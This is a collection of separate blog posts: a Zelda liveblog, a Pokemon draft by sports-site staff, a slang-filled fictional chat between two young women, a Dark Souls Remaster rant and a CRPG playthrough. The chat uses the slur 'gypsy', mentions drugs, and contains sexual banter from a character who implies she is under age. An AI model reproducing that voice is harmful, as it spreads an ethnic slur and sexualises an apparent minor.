does this mean i can max out my hearts AND stamina? because, shit yeah

now to the lizalfos shrine :|

oh......my god

WHAT IS THIS LOL

it's a giant spike pit. oh my god

i can use magnesis to cross but lmao this giant block being tossed to and fro. looks VERY shady

AND NOW GIANT SPIKE WHEELS OF DEATH listen i love this game

oh no. giant spike balls i have to glide past. actually i hate this game

me: oh that wasnt so bad, i see a switch and bars am i done? :D

NOT DONE NOT DONE

oh man i nearly got that last part ):

i have to do it all agaaaain

the initial spike pit has killed me like 7 times. 

got past it, and the wall of spikes did me in, BACK TO THE SPIKE PIT

ok this is getting tedious. all this just for one shot at the final bit again...

god i MADE IT!!!! jesus

now for the flying spike balls. again.

m a d e i t

ok no screwups now

YES!!!!!

;A; KASS IS HERE

a beast beyond the divine four omg do i get to pilot a jaeger

i dont have a fucking clue what that song means so im gonna keep doing shrines

third camp was MUCH easier, took out half of them by spamming bmb arrows from above

oh...no

A MAJOR TEST OF STRENGTH....BAD

B A D

its cool i have a one hit KO weapon and ancient arrows which are basically the same thing + my hylian shield its gonna be f i n e

ok cook cant hit it with arrows. cool cool cool wasted 2 of them i only had 6

NICE ok i stunned it with electric arrows & then rushed in for the one-hit KO kill. easy peasy

also it didnt save me losing my arrows :3

th

there's a switch at the end instead of a monk

oh god is there another one?!

no just a maze of little ones. good.

oh my god there is a THIRD SECTION this goes on FOREVER

AMBUSHED!!! I DIED

i have to do ALL THAT SHIT again

i didnt even save after getting some of the extra chests cause i was sure i was done ):

OMG nice okay it saved me getting the key. good

GREAT, because, i died again

trying to shoot faster than them :/

i guess i should be using my sword more but

they're too far away to rush in the time it would take to figure out how to even GET there

oh god finally

im taking the last of them out from the top of the mountain lmao

god can you imagine if you warped here & forgot to put on cold gear...u would just be dead

theres so many ):

cheesed 'em all, every one! hinox hell island was good for something after all

honestly doing it with bomb arrows was MUCH easier than doing it with my boms :')

omg it's dark in here

time for my SKELETON ARMOR

omg okay that was fun and not horrible

timing puzzles and not-terrifying fights 11/10

noooooo no more one-hit KO trident

OMG

OMG OMG OMG

THIS MUSIC THO 

omg am i gonna get to see my old pals!!! im dyin

omg okay im gonna do these in the order i originally did the divine beasts, for symmtery's sake, even tho i'd do it in a different order were i starting over

i'll conclude This Liveblog Post Here & start another

[junker-town]

A Pokemon Sword/Shield draft, because we are a sports website

Photo by David McNew/Getty Images

Gotta draft ‘em all!

Pokemon. Domesticated animals trained to fight for the amusement of humans in an alt-history hellscape where children are forced from their houses in their preteens to capture and battle others under the guise of growth into adulthood. It’s perfect and we love it!

Friday marks the release of Pokemon Sword/Shield, the latest game in the series. Being the avid sportspeople we are, and thriving on competition at the expense of others we decided to draft a six Pokemon team made entirely of Pokemon which are returning to the series. We were not allowed to draft the only returning legendary Pokemon (Mew), and were given the freedom to draft to our heart. Here is what we did.

Brittany Cheng

Lucario, 10. Hydregion, 11. Gardevoir, 20. Bewear, 21. Gengar, 30. Lapras

The moment I signed up for this, I was stressed — especially because I’ve been AWOL from the Pokemon world after Gen 4. Thankfully a mix of Silph Road message boards, Quora replies, and the kindness of a top Pokemon expert from our sister gaming website, Polygon, helped me select the best team.

I got lucky, too. If Zion Williamson is on the board, why wouldn’t I take him first?

I don’t need to defend my other picks; I know I already won the draft since my No. 1 pick made my boss react “OH FUCK YOU.”

Graham: Honestly I’m not sure that spending your first pick in the draft deliberately spiting your boss is a good career choice.

James: I’d burn you, but I’ve never seen someone so stressed out about the basic concept of drafting Pokemon. Sorry to break the fourth wall for our readers, but you were definitely wracked with anxiety every time your pick came back up. I don’t want you to endure that pain so I love your draft. Good picks. Zero problems.

Christian: Would eat: Lapras. Wouldn’t eat: everyone else.

Matt: Gardevoir is definitely on Tik Tok so I’m upset to miss it for my team of social media All-Stars. Also shouts to Britt for drafting Graham’s favorite Pokemon No. 1 and sending this draft in chaos mode from the get-go.

Graham MacAree

2. Aegislash, 9. Toxapex, 12. Charizard, 19. Ferrothorn, 22. Togekiss, 29. Weaville

Aegislash gives a strong counter to Lucario at 1.1 and can sweep with Swords Dance while using King’s Shield to disrupt any physical attackers taken later. The rest of the Pokemon were taken with roles plus type composition in mind, with something of an eye towards specific checks:

Toxapex can deal with James’ Tyranitar, Scald physical attackers and sit as a very difficult defensive barrier.

Charizard gives some versatility with its different mega-evolution forms and wide moveset, but will mostly be used as a drought-powered special wallbreaker.

Ferrothorn is another answer to Tyranitar plus can set Stealth Rock and stall with Leech Seed/protect.

Togekiss running Defog is not an ideal hazard clearer but the available Pokemon who can use Defog or Rapid Spin is astonishingly low. Can also help with team status and go for flinch locks.

Weaville is here as a fast revenge killer, if necessary, and gives some type coverage we were missing with Pursuit.

Aegislash can do most of the hard work and, given the Pokemon available, I think the rest of the team balances and supports it well enough. I’m a little worried about that Gengar on Britt’s team, though, and there’s also no clean way to bring in Pokemon through pivot moves. Prediction and smart play, as always will be key.

James: Nerd.

Britt: Nerd.

Christian: Would eat: Charizard, Togekiss. Wouldn’t eat: everyone else.

Matt: Charizard is the only real Pokemon on this list in my opinion. Also, nerd.

James Dator

3. Tyranitar, 8. Wishiwashi, 13. Mimikyu, 18. Drampa, 23. Sawk, 28. Vikavolt

I’m not going to sit here and tell you my team is perfect. I’m not going to tell you they’re a top-tier team of killers and world-ruiners, but I will say that they make me happy. In the end that’s all that matters.

Tyranitar is my beefy thick boy to hold down the fort, while also offering that excellent rock/dark type to get me through some early fights. Mimikyu is my sad pokemon, which is personally important to me, considering my natural proclivity for Psyduck.

Wishiwashi is the pick I know people will criticize, but he’s my Rudy, my Hail Mary. I really like the Pokemon who go from zero-to-hero like watching an episode of Queer Eye, but with Wishiwashi it’ll hit school form and become a murderer in one battle — not like waiting on a sad-ass Magikarp to get its act together.

Britt: I offered to trade you Bewear for Wishiwashi, so you deserve all the burns you get.

Christian: I bet I could eat all these Pokemen. Maybe not Vikavolt.

Matt: Tyranitar is def a bully who gets likes on IG because people are afraid of it, so I’m upset to not have it on my socia media team. Also Wishiwashi is a hilarious name. Proud of it.

Christian D’Andrea

4. Mamoswine, 7. Mudsdale, 14. Unfezant, 17. Pelipper, 24. Vanilluxe , 27. Wobbuffet

I have never played Pokemon, but we needed a fifth for the draft. My picks were solely based on how much I’d like to eat each of these characters. With a bottom-two pick, I invested solely in winning the “most delicious” crown.

Mamoswine: Half pig, half mammoth. You remember the opening credits for the Flintstones? This is where those car-destroying ribs came from.

Mudsdale: I could only find one cow-looking Pokemon (Tauros), and he wasn’t eligible for selection. I’m gonna have to settle for horse steaks instead. And since this thing is half Clydesdale, I’m gonna have a ton of them.

Unfezant: The most spatchcockable Pokemon on the board. Can’t believe he lasted to the third round. Plus you can save all that unfezant fat and fry potatoes in them afterward.

Pelipper: I kinda choked on this one. I thought this was a giant, fat, belligerent chicken, like Foghorn Leghorn (delicious). Instead it’s a pelican. I bet I could still eat it!

Vanilluxe: It’s literally ice cream. Most obvious pick of the day.

Wobbuffet: BUFFET IS RIGHT THERE IN THE NAME

What’re you guys gonna do when your Pokemen fall in battle? Bury them solemnly? Pretend like nothing happened?

I’m gonna eat like a goddamn king.

Britt: I told you to draft Oddish for a balanced diet. Better check your arteries and cholesterol.

Christian: The idea of eating a radish is by far the most unrealistic thing to happen in this draft.

Matt: Why are we eating Pokemon again? I’m concerned and I think I have to call the police? Actually, you can eat Wobbuffet.

Matt Ellentuck

5. Milotic, 6. Gyrados, 15. Machamp, 16. Ninetails, 25. Snorlax, 26, Ludicolo

I had very important criteria for my picks. I selected the six who I felt would make the strongest social media team, and I’ll explain why.

My first two picks were Milotic and Gyrados because they are both hot sea monsters. That means they’ll get a lot of likes on IG. Then I picked Machamp because it’d make a dope fitness account, and Ninetails because it definitely wears designer clothes for the ‘Gram. Snorlax is, without a doubt, a depressed meme poster. And Ludicolo def gets WILD on main. He’ll get a lot of “SIR” reply tweets, but hey, engagement is engagement.

That’s a damn squad right there.

Graham: While drafting entirely for Pokemon hotness is a fun goof it also raises some concerns about ... well, a lot of things.

James: While drafting entirely for Pokemon hotness is a fun goof it also raises my opinion and value of you as both a coworker and a person. Live your truth.

Graham: Yeah, James is right. No* judgement.

Christian: I don’t want to eat any of these sexy Pokemen.

Britt: Matt, you’re on cancellation watch.

[punkscowardschampions]

Rio & Indie

Rio: How did you even? Rio: Soz Bills but this is next level sorcery! Indie: nah man it werent no militant thing Indie: when your ride that crutterz whatever i did was gonna make it less clappin' innit Indie: plus your boy mad distracting 👌 i been knew Rio: Too real 😂 could hear me coming, like Rio: giving the boy racers a run for their money and I ain't even tryna hang, lads 😬😷 Rio: Idk how yous even managed it seriously but 👏 Indie: could here you cumming too bitch i knew i had time 😏😂 Indie: forreal tho you better not drag without me 👑 of the strip like so gimme them 2s Indie: thank me with that good 🎂 fore the sibs take every slice Rio: Ew shut up 😂 Rio: 'Course, babe Rio: Not racing for pinks now you got my motor so 🔥 tho Rio: Can have Ro's Rio: baby might want some of that taste sensation like but 🤷 Indie: tell yourself and your mans 👌🤐 Indie: yeah your whip is beast now if i do say myself after clocking in dem hours Indie: gotta hit drew with his share of that sugar cos he did help me source Indie: but unlucky younger you ain't getting yours 😂 Rio: PLEASE Rio: I know you ain't been hearing when I been trying so hard Rio: full time occupation keeping it 🤐 legit Rio: I love it Rio: That's good, nothing like bonding under the hood of a car right? Indie: is it? then how am i clued that mckenna aint the strong silent type that he is in the streets 😏 boy got some volume Indie: gurl we need more paper if you want that privacy cos thats how the walls be in this drum Indie: yeah? i love you bitch 💖 Indie: naaaah you kno he aint getting himself dirty like that with no oil or grease Indie: 💰 only Indie: & he took me buying off them travellers and DAMN how some of those lads be 😍 Rio: Imma pretend I didn't hear THAT 'cos I ain't about to share his secrets 😏 Rio: I'll work on it then 😜 Rio: Always gon' love you bitch 🧡 Rio: What a tart 🙄 Rio: Not you though don't be tryna give me grey hairs already gurl 😂 Indie: 😂 Indie: me too cos you the only 1 getting that work done free baby Indie: 💖💖💖 Indie: gotta look good for his fancy piece innit 🏥 Indie: catch me on site tryna get grabbed rn giving you all the alone time w mckenna you be needing Rio: Trust, feeling that special with it 💖👸 Rio: 'Course, not that he's afraid of hard graft or anything, nah 😏 Rio: Hold up on the heart attack you gonna give Ma Rio: 'cos about to both have all that alone time 🛫🏖 Indie: safe 👑 Indie: nah nah 😂 hardest working rudeboy in the 24 Indie: self titled drew innit tho Indie: ma can get in line cos how these boys are got me feelin i could have one of my own 😍😍 mines bout to stop on the words they say & them accents Indie: gotta play hard like my wifey do so i dont get vexed being here in this temp at this time Indie: stuck schoolin & hustlin like 😒 Rio: 😂 Rio: I ain't no snitch so I'll keep it on the dl Rio: but bitch knows her way 'round that site herself so 👀 out for her even if your 💘 is gone like Rio: Poor baby 😟😥 Promise it's your turn next, anywhere you wanna Indie: ✌✌✌ Indie: its chill ill party like its my bday & im legal Indie: cant keep a rudegirl down Indie: gimme the 411 on how mckenna did tho did he come through w your 💍 or nah Rio: Gotta have one on me, like Rio: wouldn't be polite otherwise 😋 Rio: [pics] Rio: Bitch, when I tell you I can't even Indie: 😮😮 bitch WTF Indie: how he out here doing it like that?? Indie: boy stop Indie: but like dont Rio: I know Rio: and you're gonna see where we're going Rio: it's ridiculous Rio: he's ridiculous Indie: 😍😍😍 Indie: and you dont want me on his friends bitch EXCUSE ME Indie: i gotta tap this demo Rio: I thought we was all about the travellers now? Rio: if I can't keep up with you idk how these lads stand a chance 💔😉 Indie: allow it Indie: not trying to get wifey'd by anyone else Indie: & no lad has said yeah to my 💘 yet Indie: hmu all of yous Rio: At the risk of sounding older than the 18 I'm repping now Rio: Enjoy the ride, babe Rio: way more fun Indie: 😂😂 Indie: this boy tho i need him 💰 or nah Rio: Gimme the deets then! Indie: i gotta go back & get em im pure 💘 from first 👀 Rio: You best hmu when you do Rio: just 'cos Imma be in paradise don't mean I'm not still mumsie Indie: if you dont hear then you know i been owned by my 😍 & hes some chief wasteman who just thinks he bad Rio: all been there Rio: and you know, can't be judging whilst you keeping my secret can I? Indie: ma please thats your whole job 😂 it is how my step be doin it like Rio: I'll let her cover it then Rio: be the cool mum we all know i'm destined to be Indie: is it? Indie: can you be cool & tell her to hurry up and drop so the baby girl can vex her stead of me Indie: living so dry rn Rio: You reckon that'll make her any cooler? Rio: Mumming even harder, just you wait babe Indie: 😒😒 Indie: tell her i got loads of mas then Rio: Bless Rio: least we're back on so you don't have to live with her and Drew, like Indie: 🙏🙏 foreal tho shes flatroofin me from afar i cant be running in that house no more Indie: dont leave me woman Rio: Promise Rio: that said, a bitch be packing Indie: not gonna say take me w this time cos i kno what you finna do w that boy Indie: 😏 mad jealous Rio: 🤐 remember Indie: trust Indie: if i go back for that lad tonite is that too hype? its been a minute since i was there but idk Rio: Nah, go for it babe Indie: ✌✌ Indie: garda better keep things jam cos i aint asking drew for a ride there Rio: Not the vibe getting your Da to take you to a dick appointment, like Indie: 😂😂 Indie: hes been in a weird vibe Indie: must be cos the 👶 is due soon Rio: Yeah? Rio: Know he ain't go as hard as mine but hardly new to the game Indie: first time hes done it standard tho Indie: still no excuse to get so high off your own supply tho Indie: idk man Indie: maybes hes having a midlife Indie: maybe shes just driving him how she do me Rio: God knows Rio: ain't your job to stress it tho Rio: leave that to them, like Indie: innit Indie: just dont let mckenna put one in you Indie: its a madness how she flips Rio: Err no chance Rio: I bet Rio: already highly strung bless her, then you throw a load of hormones at her, nah, I'm good Indie: you can rep that how you like babe but aint none of our parents tryna bring us & still we out here vibin Indie: least they wanted this one like Rio: Yeah but I've heard of birth control 🙄 Rio: You think she'll make him marry her? Rio: Get a dress, like Indie: how un 🍀 of you bitch 😂 Indie: yeah shes been after a 💍 since she landed back in his bed Indie: better not try and put me in no dress Rio: 😂 matching with your younger Rio: so cute Indie: allow it Indie: ill 🛑 that shit fore i agree that Rio: 😬 no one needs to see that Indie: or other mckenna snapping the day like she needs the 💰 Indie: wheres the peng one taking you then? Rio: fr fr Rio: Maldives baby Rio: I'll send you all the pics Indie: 😮😮😮😮 Indie: that boy gon kill me & i aint even going Indie: don't send me ALL the pics tho I dont need 👀 for what ive already 👂 Rio: this place gon' kill me Rio: i been some places but damn Rio: behave Rio: gotta pay for that privilege honey 💁 Indie: when you fam & she still tryna charge 😂 Indie: tax a celeb hottie aint that how & where they hang? Rio: You want that new drum babe Rio: 🤞 Indie: hells yeah i want that new yard for a 🐶 Indie: make it happen ma Rio: 💪 here's hoping there's a becks or some shit out here Indie: spoke like mckenna aint dropping that dime on you standard Indie: lookin & actin all 😇 Indie: 💸💸💸 Rio: Think asking for a new gaff is taking the piss though 😉 Indie: IS IT THO 😂 Indie: boy down to move you in if he coulda Rio: I don't think he down to be livin' in the 24 tho 😏 Indie: bitch you know id change postcode if i can party in his Rio: You'd hate it 😂 Indie: nah all dem rich rudeboys wanna slum it for a nite Indie: hmu lads Rio: been there done that Rio: 'less they upped their game Rio: not worth the plane ticket Indie: waste 💔 Rio: truly Rio: keep rinsing their da's, like Indie: if youd let me babe ✌ Rio: bitch, not you ⛔ Indie: jokes Indie: imma link my gypsy prince Rio: 👍 Rio: how many 👙s do I need Indie: how long he ticking you away from me & these ends for? Rio: only a week Rio: should be in school, like Indie: 😂 Indie: at choir practice or some posho shit like Indie: but forreal like you dont wanna repeat gotta keep the looks fresh and the game 🔥 Rio: 😂 can you imagine Rio: lawd Rio: yeah, fuck it, one for every day and a spare it is 😉 Indie: 👑👑 rep that Indie: you kno that boy gon be carrying more clothes than a store Rio: Well, he ain't dodging those extra baggage charges by putting shit in my case, like Indie: 💔 Indie: honeymoon off fore its on Rio: When I can't quit being a bitch 🤷 Rio: awks Indie: you bad & he loves it Rio: hope so Rio: don't need domestics in the airport forreal Rio: don't kill my vibe boy Indie: 😂 Indie: bitch like he could when youre ✈ maldives Rio: Yeah we both gon' put up and shut up for that view Indie: forreal gon be lush Indie: im vexed but stealth bout it Indie: save you that domestic baby Rio: We gon' brawl when I'm back? Rio: Okay, I'll prepare my best dramatics in my downtime Indie: depends how im vibin Indie: got my own plans for this week Rio: Aside from riding a gypsy or? Indie: thats day 1 gurl Indie: keep w me Indie: drew best not be trying to chill & ruin my empty Indie: brawl him no drama Rio: Do my best Rio: and if you change the locks on him, send us a key, like Indie: innit tho Indie: get to steppin man Indie: your drum be lavish use it Rio: When he ever there man Rio: how they found time to make this baby is impressive if not gross Indie: 😂 Indie: no shade but im shook she could Rio: Literally though Rio: could call her a medical miracle, might not clock the shade over the ego boost Indie: good she aint here cos im creased rn Indie: their life is mad jokes Rio: s'alright, she can take a good laugh at mine if she gotta Indie: please your life is bare hectic 💖👑 Indie: dont trip Rio: Doubt the Cambs med student turned super doc is jelly tho 😜 Indie: what she kno? shes drews piece & he still more about you 😂 Rio: Shut up Indie: ✌ Rio: You crazy Indie: he is Indie: for ya Indie: chatting at me about how you grown good Rio: He really is high Indie: you kno Indie: old man relax 😂 Rio: Nasty Rio: gimme my card and cash and begone Indie: gimme your slice of cake too drew cos you aint eating for two Indie: abs are welcome like Rio: 😂 Rio: sometimes i reckon you are Rio: you and ya tapeworm Indie: big love Indie: even if i am marv Rio: 🧡🧡🧡 Indie: keep me knowin & ill give you same back 💖 Rio: 'Course, goes without saying Rio: ✌ out lil one Indie: safe

[archworks-gaming]

Some words about the Dark Souls Remaster.

Man, oh man. I did not want to make a thing about this, but I think it’s worth voicing an opinion on.

Let’s get it out of the way, I’m excited about it... Well that’s a bit strong, I’m cautiously optimistic about it. I’ve got no real expectations or any wants or desires about the kind of mechanics or graphical overall that’s going into it.

If it just plays like the original and I can play it on my PS4, then that’s fine by me. I’ll take that.

I don’t have the resources to play it on my PC with graphical mods and 60 frames and presumably a dedicated multiplayer user-base.

Hell I’m lucky if my PC lets me get 5-10 frames on any game, let alone Dark Souls. For context, my computer is a work tool. It’s good enough to do the things I NEED it to do, not necessarily the things I would LIKE it to do.

So, on that grounds alone, the remaster is definitely something that I would like, as a console gamer by necessity, as well as someone who first played the original Dark Souls two years after release on the Xbox 360. I never had the “release experience”. I didn’t have too much issue with invasions or much luck joining others in Jolly Cooperation.

So again, the remaster looks to potentially bring me another experience I would like to get.

And I genuinely can’t wait to start SunBroing Gargoyles again.

By this point I would hope that I’ve indicated that those with the means, shouldn’t be getting excited about the remaster. Because for those people, it’s not really bringing anything new to the table and believe me, I understand that.

But what I don’t understand is all the whiny children getting their huff on because the game wasn’t completely remade from scratch in Unreal 4, whilst paradoxically being made in Dark Souls 3′s engine (Which one guys? You get Havoc or Unreal 4, you can’t have both...) with bloom obscuring every minute detail, four ring slots and omni-directional rolling and Dark Souls 2′s PvP...

That’s not Dark Souls by that point, you... You do know what a remaster is, right?

A graphical overhaul is all you’re really entitled to in this instance.

And that’s not even touching on how ridiculous it is that these people are requesting all of these things in the first place.

You know that just including omni-directional rolling would drastically affect how the game is played and the overall challenge would take a massive dip as a result?

You don’t agree?

Well then plainly, you’re fucking stupid. Probably well-intentioned. But still stupid.

Dark Souls was originally developed with cardinal rolling (4-directional) in mind when creating combat and boss encounters.

Bosses were specifically built to combat a players ability to dodge in the 4 directions allowed. You throw in the ability to roll in any direction you want, then you run the risk of having to re-work bosses’ moves to account for these new directions the player can avoid damage with. Or you could just leave the bosses alone and risk them becoming antiquated doormats that can’t even begin to retaliate against a more nimble and mobile player.

Also, you can roll in any direction you want. You just have to not be locked on to do it. Which brings it’s own challenge or manually keeping track of your target, but that’s the price you pay for freedom of movement and I wouldn’t change that.

A similar but admittedly more manageable problem would arise with two additional ring slots.

Now, I fully agree that if a character has 10 fingers they should use them Heck, if I lived in the Souls universe you can bet that I would be wearing rings on my toes.

The fact of the matter is that Dark Souls was made with the players ability to wear only two rings in mind.

Rings in Dark Souls are specifically balanced (to varying degrees of success) to fit the two slot structure.

For example

Havel’s Ring in DS1 gave you a 50% increase to equip burden.

Fast forward to DS3 where Havel’s Ring+3 only gives you 19%...

(I know this is percentage increases, so it’s more about the base values you attribute them to, but DS1 Havels just gives you more, flat out.)

But what does DS3 also have? More than two ring slots and more rings that increase equip burden and also an unbreakable FAP ring.

Things were re-balanced to suit an updated system.

And throwing that retroactively onto Dark Souls would justifiably anger the community more than if it wasn’t included.

I know that people don’t often think about what would need to be changed to implement the things they want in their game that they claim to love and never want to change, whilst citing all of it’s flaws and shortcomings in the same breath. But I think it’s a worthwhile exercise to maybe just actually try doing exactly that?

I’m going to break focus for a second to bring up, what I personally believe to be one of the most classic examples of a remake built with the fans in mind before anything else.

Metal Gear Solid: Twin Snakes.

The original Metal Gear Solid is, by today's standards, not a looker. I won’t argue against that.

And while on paper a re-imagining of the classic game in the Metal Gear Solid 2 engine is a great idea. the implementation was disastrous.

For one, they made no attempt at keeping true to the design of the original game. while the birds-eye camera angle and lack of first person aiming might seem a little antiquated and clumsy now. The original game was built around these limitations.

Level design and obstacles were put in place to keep the player on their toes, security cameras and enemy patrol routes would often be hidden just outside of frame and in the case of security cameras there was specific tools set aside to specifically deal with them.

Mastery of the enemy AI gradually became more necessary as a skill than the stealth action that the game was made for.

But then you throw that all into MGS 2′s engine, without altering any part of the layout, enemy routines, or obstacles whilst also bringing over mechanics built into the new engine, the first person aiming, the tranquilliser pistol...

These two things made Twin Snakes a cake walk.

Security camera about to potentially spot you? No issue, just shoot them in first person to permanently put them out of commission.

Guard standing in the way of your objective? Tranq ‘em and move past them.

Certain bosses were made into complete jokes because you could aim at them manually. Vulcan Raven’s second boss fight is nothing on Twin Snakes.

The fight with Revolver Ocelot loses all of it’s tactical flare because you can literally just aim at him from the door and shoot him a couple of times to win.

You don’t even have to move to beat Psycho Mantis in Twin Snakes, thermal goggles + first person pistol = win boss fight.

And I hope it’s this kind of negligence of a games fundamental design that’s helping to illustrate my point about why you shouldn’t put too much stock in someone implementing all the neat ideas that weren’t in the game previous when attempting a remaster.

The guys handling the Dark Souls Remaster are so far doing a decent job, as far as I’m concerned.

Does the game look drastically different? No, not really, but it’s got just that little bit of extra effort and hardware it needed to make what was already a pretty decent looking game (even by today’s standard) look a few steps better and run a damn sight smoother.

And as long as they keep the already shown quality of life changes, like the ability to use multiple items at once and a option at bonfires to change (and potentially manage) your covenants as well as integrated UI scaling, optional button remapping and password multiplayer functionality.

That’s good enough for me. I’m buying the remaster for a classic experience with a few less stressful oversights and limitations in place and potentially a release-like mulitplayer experience. Maybe I’ll finally start to see the appeal of PvP now that I’ll likely get to do it more often while playing.

And also so I can play it on my sofa with my PS4 controller that I openly prefer using over any other controller.

And if what I’ve heard is correct the company out-sourced for the remake is the same team that remastered Dragon’s Dogma Dark Arisen. So I know that they have relatively decent experience with these kinds of games.

To summarise, If you already have access to Dark Souls on PC and mods that allow you to upscale the resolution to 4K with HD texture mods and a consistent 60fps. Then yes, as I’ve seen plenty of people saying, the remaster is not for you. Congratulations on being a sensible consumer.

If you were one of the hopeless dreamers who somehow misread “Remaster” as “Remake” and was expecting this grand, full-effort re-imagining of a modern classic in an entirely different engine to it’s predecessors with all the bells and whistles, despite how much that would actively ruin the challenge and overall experience. Then certainly yes, you will be disappointed. But then again, I think you’re probably used to that by now...

However, if you’re like me and you just want to be able to play one of your favourite games with a jazzed up, new look and some of the creases ironed out with a re-energised community of players to cooperate with in a jolly kind of way. Then I look forward to playing alongside you.

And for those of you on the Switch. Have fun chaining back stabs on the toilet.

Praise the Sun.

[ciathyzareposts]

Challenge of the Five Realms: Walking Shadow

The party teleports to a new location as the darkness slowly creeps northward.

             In the city of Greenberry, Challenge started to hint at a greater depth of role-playing than it had delivered (or, at least, that I had perceived) so far. In contrast to the squalid conditions of the other cities in Alonia, Greenberry was clearly the New Rochelle of the kingdom. As we arrived and started at the mansions, Cynna Bane commented that, “these self-satisfied, well-fed nobles are the very type I mean to fight. They eat and drink well every night while I and my people must scratch for every meal.” The damned place had a candy shop, even.              

I’m not sure about Chesotor’s taste.

          I had come to the city to retrieve the scroll on which my father had written his edict against magic. Mayor Zamtine–who stressed repeatedly that he supported my claim to the throne–was happy to give me the key to the archives where he��d stored the scroll. (I had already broken in, killed Zamtine’s guards, and taken it.) But he clearly assumed that I wanted it so I could enforce the edict, not rescind it.           

The battle against the mercenaries guarding the decree.

           Similarly, I soon ran into the mayor’s son, pining for the harbormaster’s daughter in Pendar. I had already delivered her to Deostrus, but the mayor’s son wanted me to return and kill Deostrus in return for a lot of money.

As I often do, I must note here that a truly awesome game would make such an “evil” path more attractive by having strangled money on the “good” path. Imagine if I’d reached this wealthy city after eight hours of an exhausting game in which I was scrambling to keep my party fed, where Doomsday was coming ever closer by the hour, and I couldn’t even afford horses for my party to speed up the journey. Then I find a group of wealthy people ready to help me if I just help them maintain their status at the top of the food chain. That would be a role-playing choice. Instead, I already have 5000 gold pieces that I don’t know how to spend. Thus, there’s little to dissuade me from the “good” path that I’m naturally inclined to follow.            

Later, you can refuse to help the wizards and slaughter them instead. But for what?

         Greenberry was full of NPCs offering vocal support (one of them even gave me a whole 15 gold pieces), but it turned out they were playing both sides. Gormond had secreted warriors throughout the village. I got this news from my cousin, Peppercorn, in exchange for a Ring of Protection. Peppercorn offered to join the party, and I accepted her. In accordance with her tomboyish looks, she excels at stealth, riding, dodging, and missile weapons.         

Welcome, proto-Imoen.

        I figured Peppercorn filled up my party, as I ran out of spaces for portraits, but soon I was joined by a seventh companion, Barilla Beggarlove, “she-wolf with a sword.” I checked the manual, and it turns out that I can have up to 10 characters. I guess the others just don’t get portraits.

The next stop was the Mines of Signor, although on the way I went back to Southfrost just to see what had become of it. The game wouldn’t let me into the city, noting only that Grimnoth’s plague of darkness had devoured it.               

I hope the Eskimos got away.

           The Mines of Signor were a small, indoor area. The title card noted that the mines had been closed for several decades. The corridors were full of traps, but fortunately my orb absorbed them. There were a lot of spell components to pick up, some of which allowed me to learn new spells.           

There are at least a few of these on every map.

          Eventually, we ran into Stellerex, the leader of the outlawed mages hiding in the caves. He was skeptical of the prince’s sincerity, requiring first that I tear up the decree in front of him and then that I submit to a “Truth” spell. Once he was convinced, he joined the party, bringing a lot of spells and ingredients and the skills to learn and cast them. One of them is “Teleportation,” which allows me to go anywhere on the map. Given the time limit, I’d use it exclusively except that the necessary reagents (a grasshopper, a fly, a homing pigeon, and a black rose) are somewhat rare. If I ever find a shop selling them, I’ll spend most of my gold on them.               

I don’t know what’s worse: that I made such a scene out of tearing up a simple piece of paper, or that I spelled it with a “w.”

              Other mages teleported out of the caves, and back to their homes, once they learned about the revocation of the ban. (How in the world did my father enforce this ban?) One of them, Vandar, told about my mother’s spirit roaming the Cliffs of Mahor before he left.              

One by one, the wizards went home.

           The Cliffs of Mahor were on the other side of the game map, but they seemed to be the place to go next. The map was tiny–a small path and a small bridge. A female NPC wandered alone. “Mother, is that you? I’ve missed you,” Chesotor said. “My son,” the apparition said, and then my mother faded, to be replaced by Grimnoth. “Don’t betray me,” he said. “Deliver the crowns or you will suffer a slow death!” I want to point out that Grimnoth is changing the agreement; now, apparently, I have to deliver all of the crowns to him, and not just my own.                   

Auntie Em!

             Anyway, there was nothing else to do at the Cliffs, which makes me wonder what the purpose of the whole episode was. Moreover, at this point I was out of clear directions for where to go next.

Consulting the map, I saw that the darkness had already started to devour the town of Fremont and would soon hit Greenberry. I decided to line up my next visits in east-west strips, hitting the southernmost locations first. This meant first renting ships in Pendar and hitting the island of Monteplai off the western coast.

I screwed up the visit. Apparently, Monteplai is the site of a “supermax” prison that my father ran, complete with a warden and quarrymaster. I spoke to them but couldn’t find a way into the prison, so I assumed the visit was just a waste of time. Then, as I was preparing this entry, I happened to notice in a screenshot a door I’d missed. I need to re-visit the location once I finish my current area.             

The prison is right in front of me, but somehow I couldn’t find it at the time.

           At the time, I shrugged and moved on to the town of Buntonderry, the location of several large farms and ranches. It seems like everyone wanted to sell me meat.             

Okay, your pitch is just creeping me out.

           Three of the ranchers were involved in some kind of land dispute. A recent storm had blown over a fence, and the rancher Elturo claimed that his two neighbors, Pengar and Felrid, ran out after the storm and rebuilt the fence but in doing so stole a bit of land for themselves. “It’s a small amount of land, but I won’t be made a fool of.” However, Pengar and Felrid told essentially the same story, with themselves as the victims.

I found the bandits hiding in Pengar’s silo, holding hostage the sheriff of the town, Glenwin Ironbelt. After we killed the bandits, Glenwin joined the group. The cowed Pengar confessed that he and Elturo were in the wrong and Felrid was innocent. Felrid, in gratitude, also joined my party, bringing us up to the maximum. As he did so, Cagliostra appeared in her mirror and told me that, “Felrid is very important to our mission. He must accompany us when we face Grimnoth.”               

Looting the spoils after the destruction of the bandits.

             The town was grateful for my destruction of the bandits, and here I have to note that the game does a good job adapting NPC dialogue to the actions of the party. A lot of games even in the 1990s had immutable dialogue, with NPCs often talking about problems that you’ve already solved. Not here. It’s very gratifying.             

In a lot of games, this NPC would still be telling me about the bandit problem.

           The next stop was Al-Bahdri, an oasis in the middle of a small desert. Most of the “buildings” were tents. Residents complained about two problems: some kind of thief who keeps stealing food and ale, and drought conditions. I’m not sure if the conditions were supposed to be worse than normal for a desert, or if the village isn’t even normally in a desert. The thief was variously described as a dwarf and a hideous monster.             

There’s quite a variance in terrain in this kingdom.

            I figured out what to do about the second problem right away: I had Stellerex cast “Create Rainstorm.” It produced a few minutes of rainfall, and from then on the villagers thanked me for helping with the drought. A number of them called me “Rainmaker.” Oddly, the game didn’t have me teach anyone in the village the “Create Rainstorm” spell, which you think would have helped.             

It was such a simple spell, too.

           I also solved another quick puzzle when a man named Stilis Fletcher reported that he had recently just escaped 50 years of captivity in a crystal, only to find that his girlfriend, Ilse, was now an old woman. “She is as beautiful as ever, but her years are numbered.” Without even asking for my input, the game had Chesotor respond by teaching the man the “Youth” spell that we had recently learned. I had wondered what that could possibly be for. He rewarded me with a magic axe.

To deal with the thief, an NPC suggested that I leave meat and ale as bait. I had plenty of meat from Buntonderry but no ale. Someone suggested that I could get it in Skyhold, which was going to be my next stop anyway.           

